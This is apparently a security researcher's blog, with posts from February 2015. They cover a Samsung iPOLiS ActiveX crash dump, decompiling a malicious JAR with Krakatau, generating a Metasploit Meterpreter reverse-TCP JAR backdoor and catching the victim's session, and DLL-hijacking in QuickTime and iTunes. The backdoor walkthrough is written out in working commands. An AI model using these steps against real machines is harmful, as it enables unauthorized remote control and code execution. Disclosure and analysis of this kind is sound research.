Saturday, February 28, 2015

Samsung iPOLiS 1.12.2 XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC



CVE: 2015-0555
Vulnerable File: "C:\Program Files\Samsung\iPOLiS Device Manager\XnsSdkDeviceIpInstaller.ocx"
prototype: "Function ReadConfigValue ( ByVal szKey As String ) As String"
memberName: "ReadConfigValue"
progid/ActiveX: "XNSSDKDEVICELib.XnsSdkDevice"
Operating System: Windows 7 Ultimate N SP1
Vulnerable Software: Samsung iPOLiS 1.12.2

Proof of Concept

Samsung iPOLiS XnsSdkDeviceIpInstaller ActiveX ReadConfigValue Remote Code Execution PoC




Stack Trace
Exception Code: ACCESS_VIOLATION
Disasm: 6492CE MOV AL,[EDI+EDX]

Seh Chain:
--------------------------------------------------
1 41414141

Called From                   Returns To
--------------------------------------------------
XNSSDKDEVICE.6492CE           41414141
41414141                      8ABAB41
8ABAB41                       mfc100.64BA90C1
mfc100.64BA90C1               3D39D016
FFFFFFFE                      mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 006492CE
EAX 00000408
EBX 01AD9FB0 -> 0065A564
ECX 00000414
EDX 08ABAB41
EDI 0000009C
ESI 0000009C
EBP 002DEA9C -> Asc: AAAAAAAAA
ESP 002DE7F4 -> 59D56B19 -> Asc: k k

Block Disassembly:
--------------------------------------------------
6492BD MOV ECX,EAX
6492BF XOR ESI,ESI
6492C1 MOV [EBP-298],ECX
6492C7 TEST ECX,ECX
6492C9 JLE SHORT 00649340
6492CB MOV EDX,[EBP+8]
6492CE MOV AL,[EDI+EDX]  <--- crash="" p="">6492D1 CMP AL,2F
6492D3 JNZ SHORT 00649333
6492D5 TEST EDI,EDI
6492D7 JNZ SHORT 00649304
6492D9 PUSH 80
6492DE LEA EAX,[EBP-90]
6492E4 PUSH EDI
6492E5 PUSH EAX

ArgDump:
--------------------------------------------------
EBP+8 08ABAB41
EBP+12 64BA90C1 -> EBE84589
EBP+16 3D39D016
EBP+20 FFFFFFFE
EBP+24 64AFBE5C -> CCCCCCC3
EBP+28 00000018

Stack Dump:
--------------------------------------------------
2DE7F4 19 6B D5 59 08 00 00 00 A0 EA 2D 00 10 92 64 00  [.k.Y..........d.]
2DE804 14 04 00 00 64 65 C4 64 00 00 00 00 00 00 00 00  [....de.d........]
2DE814 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]
2DE824 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]
2DE834 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  [................]

Exception Code: ACCESS_VIOLATION
Disasm: 41414141 ?????

Seh Chain:
--------------------------------------------------
1 41414141

Called From                   Returns To
--------------------------------------------------
ntdll.77B670B4                ntdll.77BDAB1A
ntdll.77BDAB1A                ntdll.77BB0404
ntdll.77BB0404                ntdll.77B3F956
ntdll.77B3F956                ntdll.77B67017
ntdll.77B67017                41414141
41414141                      8ABAB41
8ABAB41                       mfc100.64BA90C1
mfc100.64BA90C1               3D39D016
FFFFFFFE                      mfc100.64AFBE5C

Registers:
--------------------------------------------------
EIP 77B670B4 -> C0000005
EAX 002DE0EC -> C0000005
EBX 41414141
ECX 41414141
EDX 00000000
EDI 00000000
ESI 002DE0EC -> C0000005
EBP 002DE0D8 -> 002DE40C
ESP 002DE088 -> 77B662A4


Block Disassembly:
--------------------------------------------------
77B6709C MOV [ESP+8],EBX
77B670A0 JMP 77B837AD
77B670A5 LEA ESP,[ESP]
77B670AC LEA ESP,[ESP]
77B670B0 MOV EDX,ESP
77B670B2 SYSENTER
77B670B4 RETN  <--- crash="" p="">77B670B5 LEA ESP,[ESP]
77B670BC LEA ESP,[ESP]
77B670C0 LEA EDX,[ESP+8]
77B670C4 INT 2E
77B670C6 RETN
77B670C7 NOP
77B670C8 PUSH EBP
77B670C9 MOV EBP,ESP


ArgDump:
--------------------------------------------------
EBP+8 002DE0EC -> C0000005
EBP+12 002DE13C -> 00000000
EBP+16 00000000
EBP+20 C0000005
EBP+24 00000001
EBP+28 00000000

P.S. CERT tried to coordinate but there wasn't any response from Samsung

CVE-2010-2730: Microsoft IIS Request Header Buffer Overflow Vulnerability

Based on information available on various sites

-----------
place holder
-----------

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2730
http://www.checkpoint.com/defense/advisories/public/2013/cpai-03-dec2.html
http://www.juniper.net/security/auto/vulnerabilities/vuln4476.html
https://technet.microsoft.com/library/security/ms10-065

Sunday, February 22, 2015

Java Malware: Java Decompilers for JAR Malware Analysis

Krakatau comes with three tools, an assembler, disassembler and a decompiler.
From the author of Krakatau, Robert Grosse
        " The Krakatau decompiler takes a different approach to most Java decompilers.
         It can be thought of more as a compiler whose input language is Java bytecode
         and whose target language happens to be Java source code. Krakatau takes in
         arbitrary bytecode, and attempts to transform it to equivalent Java code. This
         makes it robust to minor obfuscation, though it has the drawback of not
         reconstructing the "original" source, leading to less readable output than a
         pattern matching decompiler would produce for unobfuscated Java classes." 

decompile.py can extract class files from a .jar file and decompiles the extracted .class file to Java code (.java). Below command decompiles .class file to .java file and places the file in praveendecompile directory.
$ python decompile.py -path . hello.class -out praveendecompile/

Dissecting the command
$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
-out        output directory
-path      path to core language classes, directories etc
-skip      continue upon errors

$ python decompile.py -out temp_praveen/ 2f8d204b747ed971a8bc8927b2e0898c.jar
Krakatau  Copyright (C) 2012-14  Robert Grosse
This program is provided as open source under the GNU General Public License.
See LICENSE.TXT for more details.
Attempting to automatically locate the standard library...
Found at  /usr/lib/jvm/java-1.7.0-openjdk-i386/jre/lib/rt.jar
processing target plugins/Server, 2 remaining
Loading plugins/Server
Loading java/lang/Object
Loading java/lang/Throwable
Loading java/io/Serializable
Loading java/lang/IllegalMonitorStateException
Loading java/lang/RuntimeException
Loading java/lang/Exception
Decompiling method ()V
Decompiling method onLine ()V
Decompiling method offLine ()V
Decompiling method getId ()Ljava/lang/String;
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/plugins/Server.java
0.369355201721  seconds elapsed
processing target Main, 1 remaining
Loading Main
Loading java/lang/ClassLoader
Loading java/io/InputStream
Loading java/io/Closeable
Loading java/lang/AutoCloseable
Loading java/io/ByteArrayInputStream
Loading java/io/PrintStream
Loading java/io/FilterOutputStream
Loading java/io/OutputStream
Loading java/io/Flushable
Loading java/lang/Appendable
Loading java/lang/String
Loading java/lang/Comparable
Loading java/lang/CharSequence
Loading java/util/jar/JarInputStream
Loading java/util/zip/ZipInputStream
Loading java/util/zip/InflaterInputStream
Loading java/io/FilterInputStream
Loading java/util/zip/ZipConstants
Loading java/lang/OutOfMemoryError
Loading java/lang/VirtualMachineError
Loading java/lang/Error
Decompiling method iiIiiiiiii ([BLjava/lang/String;)Ljava/util/jar/JarInputStream;
Loading java/util/HashMap
Loading java/util/AbstractMap
Loading java/util/Map
Loading java/lang/Cloneable
Loading java/lang/ClassCastException
Loading java/lang/NullPointerException
Decompiling method getResourceAsStream (Ljava/lang/String;)Ljava/io/InputStream;
Loading java/util/jar/JarEntry
Loading java/util/zip/ZipEntry
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarEntry;)Ljava/lang/String;
Loading java/lang/ClassNotFoundException
Loading java/lang/ReflectiveOperationException
Loading java/lang/Class
Loading java/lang/reflect/GenericDeclaration
Loading java/lang/reflect/Type
Loading java/lang/reflect/AnnotatedElement
Decompiling method findClass (Ljava/lang/String;)Ljava/lang/Class;
Decompiling method iiIiiiiiii (Ljava/util/jar/JarInputStream;)V
Loading java/io/ByteArrayOutputStream
Decompiling method
()V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/util/jar/JarInputStream;)Ljava/util/jar/JarEntry;
Decompiling method iiIiiiiiii ()V
Loading java/lang/StackTraceElement
Loading java/lang/StringBuffer
Loading java/lang/AbstractStringBuilder
Loading java/lang/ArrayIndexOutOfBoundsException
Loading java/lang/IndexOutOfBoundsException
Loading java/lang/NegativeArraySizeException
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;)Ljava/lang/String;
Loading java/lang/reflect/Method
Loading java/lang/reflect/AccessibleObject
Loading java/lang/reflect/Member
Decompiling method main ([Ljava/lang/String;)V
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/lang/String;[B)Ljava/lang/Class;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ()Ljava/io/InputStream;
Loading java/io/Reader
Loading java/lang/Readable
Loading java/io/InputStreamReader
Loading java/io/BufferedReader
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/InputStream;)Ljava/lang/String;
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd (Ljava/io/ByteArrayOutputStream;)[B
Decompiling method loadClass (Ljava/lang/String;)Ljava/lang/Class;
Loading java/lang/StringBuilder
Decompiling method ALLATORIxDEMOxapqldkjnfkqieurqoewqeqwdasdascasdasd ([BLjava/lang/String;)[B
Class written to /home/praveend/javadecompilers/Krakatau/temp_praveen/Main.java
15.0299580097  seconds elapsed

*********************************************************

Highlighted the importand parts of the decompilation

Above decompilation creates couple of files under temp_praveen directory
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau/temp_praveen$
$ ls -R
Main.java  plugins
./plugins:
Server.java

Rename 2f8d204b747ed971a8bc8927b2e0898c.jar to 2f8d204b747ed971a8bc8927b2e0898c.zip and unzip the zip file (unzip on .jar file might work, did not try though)
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$
$ unzip 2f8d204b747ed971a8bc8927b2e0898c.zip 
Archive:  2f8d204b747ed971a8bc8927b2e0898c.zip
  inflating: META-INF/MANIFEST.MF    
  inflating: MANIFEST.MF             
  inflating: ID                      
  inflating: plugins/Server.class    
  inflating: Main.class              
praveend@praveend-VirtualBox:~/javadecompilers/Krakatau$

disassemble.py takes class or jar file as input and converts it to assembly language format and the output can be reassembled. The ouput is saved into .j file. If jar file is input it disassembles all the class files part of jar into .j files.
python disassemble.py Main.class

$ python ../disassemble.py Main.class 
processing target Main.class, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/Main.j
0.280933856964  seconds elapsed

javap binary is included with the JDK installation. javap can be used to see the bytecode of a class
$javap -c Main.class 

assemble.py is used to convert byte code(.j) to class file. JVM class file format
python assemble.py Main.j

$ python ../../assemble.py Server.j
Processing file Server.j, 1/1 remaining
Class written to /home/praveend/javadecompilers/Krakatau/unzipped_malware/plugins/Server.class

Java malware might use different obfuscation techniques to make it difficult for Malware Analyst and detection devices.Errors encountered while decompilation might need to be fixed manually.

http://research.zscaler.com/2013/08/malicious-jar-files-hosted-on-google.html
http://stackoverflow.com/questions/27340147/how-to-decompile-class-and-jar-file-using-storyyeller-krakatau
https://github.com/Storyyeller/Krakatau/blob/master/README.TXT
https://raw.githubusercontent.com/Storyyeller/Krakatau/master/Documentation/assembler.txt

Saturday, February 21, 2015

Compromising machines running Linux using Metasploit JAR Backdoors

We can compromise Windows machine using malicious EXE file acting as a backdoor generated using Metasploit. Machines running  Linux can be compromised using jar backdoors.

Creating jar backdoor file using Metasploit msfpayload to hack Linux box
root@kali-praveend-attacker:~# msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.32 LPORT=8888 R > compromise.jar
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************

Execute the jar file created above on Linux box
praveen@victim:/tmp$ sudo java -jar compromise.jar

On Kali Execute below commands so that victim will connect back to the attacker when victim executes JAR backdoor
msf > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.1.1.32
LHOST => 1.1.1.32
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > exploit
msf exploit(handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (java/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  1.1.1.32         yes       The listen address
   LPORT  8888             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse handler on 1.1.1.32:8888
[*] Starting the payload handler...
[*] Sending stage (30355 bytes) to 1.1.1.40
[*] Meterpreter session 1 opened (1.1.1.32:8888 -> 1.1.1.40:33457) at 2015-02-15 17:49:04 -0500

Post exploitation commands
meterpreter > sysinfo
Computer    : victim
OS          : Linux 3.13.0-32-generic (amd64)
Meterpreter : java/java
meterpreter > pwd
/tmp

Creating jar file from class file.
root@kali-ucs:~/rmx_remote# jar cvf compromise.jar EvilMBean.class
added manifest
adding: EvilMBean.class(in = 172) (out= 134)(deflated 22%)


Saturday, February 14, 2015

Apple QuickTimePlayer Insecure DLL Loading Code Execution

By default QuickTimePlayer installation does't come with CoreFoundation.dll but QT Player tries to load the DLL when started.

Create any malicious DLL and rename it to CoreFoundation.dll, copy to C:\Program Files (x86)\QuickTime\

After copying the DLL if we start QuickTimePlayer we will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\QuickTime\CoreFoundation.dll
Application: QuickTime 7.7.2
OS: Windows 7 Ultimate N SP1

Apples response
        After examining your report we do not see any actual security implications. 
        Writing a file to the C:\Program Files (x86)\QuickTime  directory requires local 
        administrative privileges.

Apple iTunes Insecure DLL Loading Code Execution

By default iTunes installation does't come with dwmapi.dll but iTunes tries to load the DLL when started.

Create any malicious DLL and rename it to dwmapi.dll, copy to C:\Program Files (x86)\iTunes\

After copying the DLL if we start iTunes will execute the code part of malicious DLL leading to DLL Injection.

Location: C:\Program Files (x86)\iTunes\dwmapi.dll
Application:iTunes 12.0.1.26
OS: Windows 7 Ultimate N SP1

Apples response
        After examining your report we do not see any actual security implications. 
        Writing a file to the C:\Program Files (x86)\iTunes  directory requires local 
        administrative privileges.